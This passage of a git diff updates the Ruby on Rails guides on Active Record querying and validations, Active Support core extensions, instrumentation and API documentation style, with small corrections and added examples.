names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clauses for those associations when using the `joins` method. -For example, consider the following `Category`, `Post`, `Comments` and `Guest` models: +For example, consider the following `Category`, `Post`, `Comment`, `Guest` and `Tag` models: ```ruby class Category < ActiveRecord::Base @@ -1012,7 +1042,7 @@ Or, in English: "return all posts that have a comment made by a guest." #### Joining Nested Associations (Multiple Level) ```ruby -Category.joins(posts: [{comments: :guest}, :tags]) +Category.joins(posts: [{ comments: :guest }, :tags]) ``` This produces: @@ -1038,7 +1068,7 @@ An alternative and cleaner syntax is to nest the hash conditions: ```ruby time_range = (Time.now.midnight - 1.day)..Time.now.midnight -Client.joins(:orders).where(orders: {created_at: time_range}) +Client.joins(:orders).where(orders: { created_at: time_range }) ``` This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression. @@ -1099,7 +1129,7 @@ This loads all the posts and the associated category and comments for each post. #### Nested Associations Hash ```ruby -Category.includes(posts: [{comments: :guest}, :tags]).find(1) +Category.includes(posts: [{ comments: :guest }, :tags]).find(1) ``` This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association. @@ -1179,7 +1209,7 @@ class Post < ActiveRecord::Base end ``` -This may then be called using this: +Call the scope as if it were a class method: ```ruby Post.created_before(Time.zone.now) @@ -1201,6 +1231,35 @@ Using a class method is the preferred way to accept arguments for scopes. These category.posts.created_before(time) ``` +### Applying a default scope + +If we wish for a scope to be applied across all queries to the model we can use the +`default_scope` method within the model itself. + +```ruby +class Client < ActiveRecord::Base + default_scope { where("removed_at IS NULL") } +end +``` + +When queries are executed on this model, the SQL query will now look something like +this: + +```sql +SELECT * FROM clients WHERE removed_at IS NULL +``` + +If you need to do more complex things with a default scope, you can alternatively +define it as a class method: + +```ruby +class Client < ActiveRecord::Base + def self.default_scope + # Should return an ActiveRecord::Relation. + end +end +``` + ### Merging of scopes Just like `where` clauses scopes are merged using `AND` conditions. @@ -1210,30 +1269,28 @@ class User < ActiveRecord::Base scope :active, -> { where state: 'active' } scope :inactive, -> { where state: 'inactive' } end -``` -```ruby User.active.inactive -# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive' +# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive' ``` We can mix and match `scope` and `where` conditions and the final sql -will have all conditions joined with `AND` . +will have all conditions joined with `AND`. ```ruby User.active.where(state: 'finished') -# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished' +# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished' ``` If we do want the `last where clause` to win then `Relation#merge` can -be used . +be used. ```ruby User.active.merge(User.inactive) -# => SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' +# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' ``` -One important caveat is that `default_scope` will be overridden by +One important caveat is that `default_scope` will be prepended in `scope` and `where` conditions. ```ruby @@ -1244,48 +1301,18 @@ class User < ActiveRecord::Base end User.all -# => SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' User.active -# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active' +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active' User.where(state: 'inactive') -# => SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive' ``` -As you can see above the `default_scope` is being overridden by both +As you can see above the `default_scope` is being merged in both `scope` and `where` conditions. - -### Applying a default scope - -If we wish for a scope to be applied across all queries to the model we can use the -`default_scope` method within the model itself. - -```ruby -class Client < ActiveRecord::Base - default_scope { where("removed_at IS NULL") } -end -``` - -When queries are executed on this model, the SQL query will now look something like -this: - -```sql -SELECT * FROM clients WHERE removed_at IS NULL -``` - -If you need to do more complex things with a default scope, you can alternatively -define it as a class method: - -```ruby -class Client < ActiveRecord::Base - def self.default_scope - # Should return an ActiveRecord::Relation. - end -end -``` - ### Removing All Scoping If we wish to remove scoping for any reason we can use the `unscoped` method. This is @@ -1293,7 +1320,7 @@ especially useful if a `default_scope` is specified in the model and should not applied for this particular query. ```ruby -Client.unscoped.all +Client.unscoped.load ``` This method removes all scoping and will do a normal query on the table. @@ -1310,11 +1337,6 @@ Client.unscoped { Dynamic Finders --------------- -NOTE: Dynamic finders have been deprecated in Rails 4.0 and will be -removed in Rails 4.1. The best practice is to use Active Record scopes -instead. You can find the deprecation gem at -https://github.com/rails/activerecord-deprecated_finders - For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and methods. You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")` @@ -1324,6 +1346,11 @@ If you want to find both by name and locked, you can chain these finders togethe Find or Build a New Object -------------------------- +NOTE: Some dynamic finders have been deprecated in Rails 4.0 and will be +removed in Rails 4.1. The best practice is to use Active Record scopes +instead. You can find the deprecation gem at +https://github.com/rails/activerecord-deprecated_finders + It's common that you need to find a record or create it if it doesn't exist. You can do that with the `find_or_create_by` and `find_or_create_by!` methods. ### `find_or_create_by` @@ -1350,7 +1377,7 @@ COMMIT The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`). -Suppose we want to set the 'locked' attribute to true if we're +Suppose we want to set the 'locked' attribute to `false` if we're creating a new record, but we don't want to include it in the query. So we want to find the client named "Andy", or if that client doesn't exist, create a client named "Andy" which is not locked. @@ -1427,7 +1454,7 @@ If you'd like to use your own SQL to find records in a table you can use `find_b ```ruby Client.find_by_sql("SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id - ORDER clients.created_at desc") + ORDER BY clients.created_at desc") ``` `find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects. @@ -1458,7 +1485,7 @@ Client.pluck(:id, :name) # => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']] ``` -`pluck` makes it possible to replace code like +`pluck` makes it possible to replace code like: ```ruby Client.select(:id).map { |c| c.id } @@ -1468,7 +1495,7 @@ Client.select(:id).map(&:id) Client.select(:id, :name).map { |c| [c.id, c.name] } ``` -with +with: ```ruby Client.pluck(:id) @@ -1476,6 +1503,37 @@ Client.pluck(:id) Client.pluck(:id, :name) ``` +Unlike `select`, `pluck` directly converts a database result into a Ruby `Array`, +without constructing `ActiveRecord` objects. This can mean better performance for +a large or often-running query. However, any model method overrides will +not be available. For example: + +```ruby +class Client < ActiveRecord::Base + def name + "I am #{super}" + end +end + +Client.select(:name).map &:name +# => ["I am David", "I am Jeremy", "I am Jose"] + +Client.pluck(:name) +# => ["David", "Jeremy", "Jose"] +``` + +Furthermore, unlike `select` and other `Relation` scopes, `pluck` triggers an immediate +query, and thus cannot be chained with any further scopes, although it can work with +scopes already constructed earlier: + +```ruby +Client.pluck(:name).limit(1) +# => NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8> + +Client.limit(1).pluck(:name) +# => ["David"] +``` + ### `ids` `ids` can be used to pluck all the IDs for the relation using the table's primary key. @@ -1497,18 +1555,21 @@ Person.ids Existence of Objects -------------------- -If you simply want to check for the existence of the object there's a method called `exists?`. This method will query the database using the same query as `find`, but instead of returning an object or collection of objects it will return either `true` or `false`. +If you simply want to check for the existence of the object there's a method called `exists?`. +This method will query the database using the same query as `find`, but instead of returning an +object or collection of objects it will return either `true` or `false`. ```ruby Client.exists?(1) ``` -The `exists?` method also takes multiple ids, but the catch is that it will return true if any one of those records exists. +The `exists?` method also takes multiple values, but the catch is that it will return `true` if any +one of those records exists. ```ruby -Client.exists?(1,2,3) +Client.exists?(id: [1,2,3]) # or -Client.exists?([1,2,3]) +Client.exists?(name: ['John', 'Sergei']) ``` It's even possible to use `exists?` without any arguments on a model or a relation. @@ -1517,7 +1578,8 @@ It's even possible to use `exists?` without any arguments on a model or a relati Client.where(first_name: 'Ryan').exists? ``` -The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` otherwise. +The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` +otherwise. ```ruby Client.exists? @@ -1567,7 +1629,7 @@ Client.where(first_name: 'Ryan').count You can also use various finder methods on a relation for performing complex calculations: ```ruby -Client.includes("orders").where(first_name: 'Ryan', orders: {status: 'received'}).count +Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count ``` Which will execute: diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md index 3bfc600e7c..a483a6dd24 100644 --- a/guides/source/active_record_validations.md +++ b/guides/source/active_record_validations.md @@ -121,7 +121,7 @@ database only if the object is valid: The bang versions (e.g. `save!`) raise an exception if the record is invalid. The non-bang versions don't, `save` and `update` return `false`, -`create` just return the objects. +`create` just returns the object. ### Skipping Validations @@ -175,28 +175,28 @@ class Person < ActiveRecord::Base end >> p = Person.new -#=> #<Person id: nil, name: nil> +# => #<Person id: nil, name: nil> >> p.errors.messages -#=> {} +# => {} >> p.valid? -#=> false +# => false >> p.errors.messages -#=> {name:["can't be blank"]} +# => {name:["can't be blank"]} >> p = Person.create -#=> #<Person id: nil, name: nil> +# => #<Person id: nil, name: nil> >> p.errors.messages -#=> {name:["can't be blank"]} +# => {name:["can't be blank"]} >> p.save -#=> false +# => false >> p.save! -#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank +# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank >> Person.create! -#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank +# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank ``` `invalid?` is simply the inverse of `valid?`. It triggers your validations, @@ -243,7 +243,7 @@ line of code you can add the same kind of validation to several attributes. All of them accept the `:on` and `:message` options, which define when the validation should be run and what message should be added to the `errors` collection if it fails, respectively. The `:on` option takes one of the values -`:save` (the default), `:create` or `:update`. There is a default error +`:create` or `:update`. There is a default error message for each one of the validation helpers. These messages are used when the `:message` option isn't specified. Let's take a look at each one of the available helpers. @@ -337,7 +337,7 @@ set. In fact, this set can be any enumerable object. ```ruby class Account < ActiveRecord::Base validates :subdomain, exclusion: { in: %w(www us ca jp), - message: "Subdomain %{value} is reserved." } + message: "%{value} is reserved." } end ``` @@ -438,8 +438,6 @@ provide a personalized message or use `presence: true` instead. When `:in` or `:within` have a lower limit of 1, you should either provide a personalized message or call `presence` prior to `length`. -The `size` helper is an alias for `length`. - ### `numericality` This helper validates that your attributes have only numeric values. By @@ -528,7 +526,7 @@ If you validate the presence of an object associated via a `has_one` or Since `false.blank?` is true, if you want to validate the presence of a boolean field you should use `validates :field_name, inclusion: { in: [true, false] }`. -The default error message is _"can't be empty"_. +The default error message is _"can't be blank"_. ### `absence` @@ -577,7 +575,9 @@ This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, -you must create a unique index in your database. +you must create a unique index on both columns in your database. See +[the MySQL manual](http://dev.mysql.com/doc/refman/5.6/en/multiple-column-indexes.html) +for more details about multiple column indexes. ```ruby class Account < ActiveRecord::Base @@ -618,10 +618,6 @@ The default error message is _"has already been taken"_. This helper passes the record to a separate class for validation. ```ruby -class Person < ActiveRecord::Base - validates_with GoodnessValidator -end - class GoodnessValidator < ActiveModel::Validator def validate(record) if record.first_name == "Evil" @@ -629,6 +625,10 @@ class GoodnessValidator < ActiveModel::Validator end end end + +class Person < ActiveRecord::Base + validates_with GoodnessValidator +end ``` NOTE: Errors added to `record.errors[:base]` relate to the state of the record @@ -646,10 +646,6 @@ Like all other validations, `validates_with` takes the `:if`, `:unless` and validator class as `options`: ```ruby -class Person < ActiveRecord::Base - validates_with GoodnessValidator, fields: [:first_name, :last_name] -end - class GoodnessValidator < ActiveModel::Validator def validate(record) if options[:fields].any?{|field| record.send(field) == "Evil" } @@ -657,6 +653,10 @@ class GoodnessValidator < ActiveModel::Validator end end end + +class Person < ActiveRecord::Base + validates_with GoodnessValidator, fields: [:first_name, :last_name] +end ``` Note that the validator will be initialized *only once* for the whole application @@ -684,7 +684,7 @@ class GoodnessValidator end end - # … + # ... end ``` @@ -765,10 +765,9 @@ class Person < ActiveRecord::Base validates :age, numericality: true, on: :update # the default (validates on both create and update) - validates :name, presence: true, on: :save + validates :name, presence: true end ``` -The last line is in review state and as of now, it is not running in any version of Rails 3.2.x as discussed in this [issue](https://github.com/rails/rails/issues/10248) Strict Validations ------------------ @@ -784,7 +783,7 @@ end Person.new.valid? # => ActiveModel::StrictValidationFailed: Name can't be blank ``` -There is also an ability to pass custom exception to `:strict` option +There is also an ability to pass custom exception to `:strict` option. ```ruby class Person < ActiveRecord::Base diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md index 7f65d920df..5a4e15cfa9 100644 --- a/guides/source/active_support_core_extensions.md +++ b/guides/source/active_support_core_extensions.md @@ -37,9 +37,10 @@ For every single method defined as a core extension this guide has a note that s NOTE: Defined in `active_support/core_ext/object/blank.rb`. -That means that this single call is enough: +That means that you can require it like this: ```ruby +require 'active_support' require 'active_support/core_ext/object/blank' ``` @@ -52,6 +53,7 @@ The next level is to simply load all extensions to `Object`. As a rule of thumb, Thus, to load all extensions to `Object` (including `blank?`): ```ruby +require 'active_support' require 'active_support/core_ext/object' ``` @@ -60,6 +62,7 @@ require 'active_support/core_ext/object' You may prefer just to load all core extensions, there is a file for that: ```ruby +require 'active_support' require 'active_support/core_ext' ``` @@ -96,12 +99,13 @@ INFO: The predicate for strings uses the Unicode-aware character class `[:space: WARNING: Note that numbers are not mentioned. In particular, 0 and 0.0 are **not** blank. -For example, this method from `ActionDispatch::Session::AbstractStore` uses `blank?` for checking whether a session key is present: +For example, this method from `ActionController::HttpAuthentication::Token::ControllerMethods` uses `blank?` for checking whether a token is present: ```ruby -def ensure_session_key! - if @key.blank? - raise ArgumentError, 'A key is required...' +def authenticate(controller, &login_procedure) + token, options = token_and_options(controller.request) + unless token.blank? + login_procedure.call(token, options) end end ``` @@ -153,9 +157,9 @@ Active Support provides `duplicable?` to programmatically query an object about ```ruby "foo".duplicable? # => true -"".duplicable? # => true +"".duplicable? # => true 0.0.duplicable? # => false -false.duplicable? # => false +false.duplicable? # => false ``` By definition all objects are `duplicable?` except `nil`, `false`, `true`, symbols, numbers, class, and module objects. @@ -175,14 +179,14 @@ duplicate = array.dup duplicate.push 'another-string' # the object was duplicated, so the element was added only to the duplicate -array #=> ['string'] -duplicate #=> ['string', 'another-string'] +array # => ['string'] +duplicate # => ['string', 'another-string'] duplicate.first.gsub!('string', 'foo') # first element was not duplicated, it will be changed in both arrays -array #=> ['foo'] -duplicate #=> ['foo', 'another-string'] +array # => ['foo'] +duplicate # => ['foo', 'another-string'] ``` As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside the array is still the same object. @@ -195,8 +199,8 @@ duplicate = array.deep_dup duplicate.first.gsub!('string', 'foo') -array #=> ['string'] -duplicate #=> ['foo'] +array # => ['string'] +duplicate # => ['foo'] ``` If the object is not duplicable, `deep_dup` will just return it: @@ -420,11 +424,9 @@ NOTE: Defined in `active_support/core_ext/object/with_options.rb`. ### JSON support -Active Support provides a better implemention of `to_json` than the +json+ gem ordinarily provides for Ruby objects. This is because some classes, like +Hash+ and +OrderedHash+ needs special handling in order to provide a proper JSON representation. - -Active Support also provides an implementation of `as_json` for the <tt>Process::Status</tt> class. +Active Support provides a better implementation of `to_json` than the `json` gem ordinarily provides for Ruby objects. This is because some classes, like `Hash`, `OrderedHash` and `Process::Status` need special handling in order to provide a proper JSON representation. -NOTE: Defined in `active_support/core_ext/object/to_json.rb`. +NOTE: Defined in `active_support/core_ext/object/json.rb`. ### Instance Variables @@ -622,7 +624,7 @@ NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`. #### Module Attributes -The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes). +The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes). For example, the dependencies mechanism uses them: @@ -733,7 +735,7 @@ X.local_constants # => [:X1, :X2, :Y] X::Y.local_constants # => [:Y1, :X1] ``` -The names are returned as symbols. (The deprecated method `local_constant_names` returns strings.) +The names are returned as symbols. NOTE: Defined in `active_support/core_ext/module/introspection.rb`. @@ -759,7 +761,7 @@ Arguments may be bare constant names: Math.qualified_const_get("E") # => 2.718281828459045 ``` -These methods are analogous to their builtin counterparts. In particular, +These methods are analogous to their built-in counterparts. In particular, `qualified_constant_defined?` accepts an optional second argument to be able to say whether you want the predicate to look in the ancestors. This flag is taken into account for each constant in the expression while @@ -790,7 +792,7 @@ N.qualified_const_defined?("C::X") # => true As the last example implies, the second argument defaults to true, as in `const_defined?`. -For coherence with the builtin methods only relative paths are accepted. +For coherence with the built-in methods only relative paths are accepted. Absolute qualified constant names like `::Math::PI` raise `NameError`. NOTE: Defined in `active_support/core_ext/module/qualified_const.rb`. @@ -886,7 +888,7 @@ class User < ActiveRecord::Base end ``` -With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly: +With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly: ```ruby class User < ActiveRecord::Base @@ -962,20 +964,7 @@ NOTE: Defined in `active_support/core_ext/module/delegation.rb` There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either. -The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API: - -```ruby -redefine_method("#{reflection.name}=") do |new_value| - association = association_instance_get(reflection.name) - - if association.nil? || association.target != new_value - association = association_proxy_class.new(self, reflection) - end - - association.replace(new_value) - association_instance_set(reflection.name, new_value.nil? ? nil : association) -end -``` +The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. NOTE: Defined in `active_support/core_ext/module/remove_method.rb` @@ -1091,6 +1080,15 @@ end we can access `field_error_proc` in views. +Also, you can pass a block to `cattr_*` to set up the attribute with a default value: + +```ruby +class MysqlAdapter < AbstractAdapter + # Generates class methods to access @@emulate_booleans with default value of true. + cattr_accessor(:emulate_booleans) { true } +end +``` + The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value. ```ruby @@ -1108,7 +1106,7 @@ end A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute. -NOTE: Defined in `active_support/core_ext/class/attribute_accessors.rb`. +NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`. `active_support/core_ext/class/attribute_accessors.rb` is deprecated and will be removed in Ruby on Rails 4.2. ### Subclasses & Descendants @@ -1248,6 +1246,18 @@ Calling `to_s` on a safe string returns a safe string, but coercion with `to_str Calling `dup` or `clone` on safe strings yields safe strings. +### `remove` + +The method `remove` will remove all occurrences of the pattern: + +```ruby +"Hello World".remove(/Hello /) => "World" +``` + +There's also the destructive version `String#remove!`. + +NOTE: Defined in `active_support/core_ext/string/filters.rb`. + ### `squish` The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each: @@ -1380,6 +1390,8 @@ The third argument, `indent_empty_lines`, is a flag that says whether empty line The `indent!` method performs indentation in-place. +NOTE: Defined in `active_support/core_ext/string/indent.rb`. + ### Access #### `at(position)` @@ -1531,7 +1543,7 @@ ActiveSupport::Inflector.inflections do |inflect| inflect.acronym 'SSL' end -"SSLError".underscore.camelize #=> "SSLError" +"SSLError".underscore.camelize # => "SSLError" ``` `camelize` is aliased to `camelcase`. @@ -1619,6 +1631,9 @@ Given a string with a qualified constant name, `demodulize` returns the very con "Product".demodulize # => "Product" "Backoffice::UsersController".demodulize # => "UsersController" "Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils" +"::Inflections".demodulize # => "Inflections" +"".demodulize # => "" + ``` Active Record for example uses this method to compute the name of a counter cache column: @@ -1761,6 +1776,12 @@ The method `humanize` gives you a sensible name for display out of an attribute "comments_count".humanize # => "Comments count" ``` +The capitalization of the first word can be turned off by setting the optional parameter `capitalize` to false: + +```ruby +"author_id".humanize(capitalize: false) # => "author" +``` + The helper method `full_messages` uses `humanize` as a fallback to include attribute names: ```ruby @@ -1987,7 +2008,7 @@ Produce a string representation of a number in human-readable words: 1234567890123456.to_s(:human) # => "1.23 Quadrillion" ``` -NOTE: Defined in `active_support/core_ext/numeric/formatting.rb`. +NOTE: Defined in `active_support/core_ext/numeric/conversions.rb`. Extensions to `Integer` ----------------------- @@ -2256,8 +2277,6 @@ The defaults for these options can be localized, their keys are: | `:words_connector` | `support.array.words_connector` | | `:last_word_connector` | `support.array.last_word_connector` | -Options `:connector` and `:skip_last_comma` are deprecated. - NOTE: Defined in `active_support/core_ext/array/conversions.rb`. #### `to_formatted_s` @@ -2432,7 +2451,7 @@ dup[1][2] = 4 array[1][2] == nil # => true ``` -NOTE: Defined in `active_support/core_ext/array/deep_dup.rb`. +NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`. ### Grouping @@ -2658,45 +2677,7 @@ hash[:b][:e] == nil # => true hash[:b][:d] == [3, 4] # => true ``` -NOTE: Defined in `active_support/core_ext/hash/deep_dup.rb`. - -### Diffing - -The method `diff` returns a hash that represents a diff of the receiver and the argument with the following logic: - -* Pairs `key`, `value` that exist in both hashes do not belong to the diff hash. - -* If both hashes have `key`, but with different values, the pair in the receiver wins. - -* The rest is just merged. - -```ruby -{a: 1}.diff(a: 1) -# => {}, first rule - -{a: 1}.diff(a: 2) -# => {:a=>1}, second rule - -{a: 1}.diff(b: 2) -# => {:a=>1, :b=>2}, third rule - -{a: 1, b: 2, c: 3}.diff(b: 1, c: 3, d: 4) -# => {:a=>1, :b=>2, :d=>4}, all rules - -{}.diff({}) # => {} -{a: 1}.diff({}) # => {:a=>1} -{}.diff(a: 1) # => {:a=>1} -``` - -An important property of this diff hash is that you can retrieve the original hash by applying `diff` twice: - -```ruby -hash.diff(hash2).diff(hash2) == hash -``` - -Diffing hashes may be useful for error messages related to expected option hashes for example. - -NOTE: Defined in `active_support/core_ext/hash/diff.rb`. +NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`. ### Working with Keys @@ -2724,26 +2705,29 @@ NOTE: Defined in `active_support/core_ext/hash/except.rb`. The method `transform_keys` accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver: ```ruby -{nil => nil, 1 => 1, a: :a}.transform_keys{ |key| key.to_s.upcase } +{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upcase } # => {"" => nil, "A" => :a, "1" => 1} ``` -The result in case of collision is undefined: +In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash: ```ruby -{"a" => 1, a: 2}.transform_keys{ |key| key.to_s.upcase } -# => {"A" => 2}, in my test, can't rely on this result though +{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase } +# The result could either be +# => {"A"=>2} +# or +# => {"A"=>1} ``` This method may be useful for example to build specialized conversions. For instance `stringify_keys` and `symbolize_keys` use `transform_keys` to perform their key conversions: ```ruby def stringify_keys - transform_keys{ |key| key.to_s } + transform_keys { |key| key.to_s } end ... def symbolize_keys - transform_keys{ |key| key.to_sym rescue key } + transform_keys { |key| key.to_sym rescue key } end ``` @@ -2752,7 +2736,7 @@ There's also the bang variant `transform_keys!` that applies the block operation Besides that, one can use `deep_transform_keys` and `deep_transform_keys!` to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is: ```ruby -{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys{ |key| key.to_s.upcase } +{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys { |key| key.to_s.upcase } # => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}} ``` @@ -2767,11 +2751,14 @@ The method `stringify_keys` returns a hash that has a stringified version of the # => {"" => nil, "a" => :a, "1" => 1} ``` -The result in case of collision is undefined: +In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash: ```ruby {"a" => 1, a: 2}.stringify_keys -# => {"a" => 2}, in my test, can't rely on this result though +# The result could either be +# => {"a"=>2} +# or +# => {"a"=>1} ``` This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines: @@ -2808,11 +2795,14 @@ The method `symbolize_keys` returns a hash that has a symbolized version of the WARNING. Note in the previous example only one key was symbolized. -The result in case of collision is undefined: +In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash: ```ruby {"a" => 1, a: 2}.symbolize_keys -# => {:a=>2}, in my test, can't rely on this result though +# The result could either be +# => {:a=>2} +# or +# => {:a=>1} ``` This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines @@ -2918,6 +2908,16 @@ The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndiffer NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`. +### Compacting + +The methods `compact` and `compact!` return a Hash without items with `nil` value. + +```ruby +{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2} +``` + +NOTE: Defined in `active_support/core_ext/hash/compact.rb`. + Extensions to `Regexp` ---------------------- @@ -3831,7 +3831,7 @@ def default_helper_module! module_path = module_name.underscore helper module_path rescue MissingSourceFile => e - raise e unless e.is_missing? "#{module_path}_helper" + raise e unless e.is_missing? "helpers/#{module_path}_helper" rescue NameError => e raise e unless e.missing_name? "#{module_name}Helper" end diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md index 969596f470..121cdc0199 100644 --- a/guides/source/active_support_instrumentation.md +++ b/guides/source/active_support_instrumentation.md @@ -396,6 +396,15 @@ INFO. Cache stores my add their own keys } ``` +Railties +-------- + +### load_config_initializer.railties + +| Key | Value | +| -------------- | ----------------------------------------------------- | +| `:initializer` | Path to loaded initializer from `config/initializers` | + Rails ----- @@ -448,6 +457,7 @@ Most times you only care about the data itself. Here is a shortcut to just get t ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| data = args.extract_options! data # { extra: :information } +end ``` You may also subscribe to events matching a regular expression. This enables you to subscribe to diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md index 7e056d970c..261538d0be 100644 --- a/guides/source/api_documentation_guidelines.md +++ b/guides/source/api_documentation_guidelines.md @@ -42,10 +42,32 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database". +Prefer wordings that avoid "you"s and "your"s. For example, instead of + +```markdown +If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods. +``` + +use this style: + +```markdown +If `return` is needed it is recommended to explicitly define a method. +``` + +That said, when using pronouns in reference to a hypothetical person, such as "a +user with a session cookie", gender neutral pronouns (they/their/them) should be +used. Instead of: + +* he or she... use they. +* him or her... use them. +* his or her... use their. +* his or hers... use theirs. +* himself or herself... use themselves. + English ------- -Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc).. See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences). +Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc). See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences). Example Code ------------ @@ -106,6 +128,53 @@ On the other hand, regular comments do not use an arrow: # polymorphic_url(record) # same as comment_url(record) ``` +Booleans +-------- + +In predicates and flags prefer documenting boolean semantics over exact values. + +When "true" or "false" are used as defined in Ruby use regular font. The +singletons `true` and `false` need fixed-width font. Please avoid terms like +"truthy", Ruby defines what is true and false in the language, and thus those +words have a technical meaning and need no substitutes. + +As a rule of thumb, do not document singletons unless absolutely necessary. That +prevents artificial constructs like `!!` or ternaries, allows refactors, and the +code does not need to rely on the exact values returned by methods being called +in the implementation. + +For example: + +```markdown +`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default +``` + +the user does not need to know which is the actual default value of the flag, +and so we only document its boolean semantics. + +An example with a predicate: + +```ruby +# Returns true if the collection is empty. +# +# If the collection has been loaded +# it is equivalent to <tt>collection.size.zero?</tt>. If the +# collection has not been loaded, it is equivalent to +# <tt>collection.exists?</tt>. If the collection has not already been +# loaded and you are going to fetch the records anyway it is better to +# check <tt>collection.length.zero?</tt>. +def empty? + if loaded? + size.zero? + else + @target.blank? && !scope.exists? + end +end +``` + +The API is careful not to commit to any particular value, the method has +predicate semantics, that's enough. + Filenames --------- @@ -141,7 +210,17 @@ class Array end ``` -WARNING: Using a pair of `+...+` for fixed-width font only works with **words**; that is: anything matching `\A\w+\z`. For anything else use `<tt>...</tt>`, notably symbols, setters, inline snippets, etc. +WARNING: Using `+...+` for fixed-width font only works with simple content like +ordinary method names, symbols, paths (with forward slashes), etc. Please use +`<tt>...</tt>` for everything else, notably class or module names with a +namespace as in `<tt>ActiveRecord::Base</tt>`. + +You can quickly test the RDoc output with the following command: + +``` +$ echo "+:to_param+" | rdoc --pipe +#=> <p><code>:to_param</code></p> +``` ### Regular Font @@ -172,7 +251,7 @@ In lists of options, parameters, etc. use a hyphen between the item and its desc # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+. ``` -The description starts in upper case and 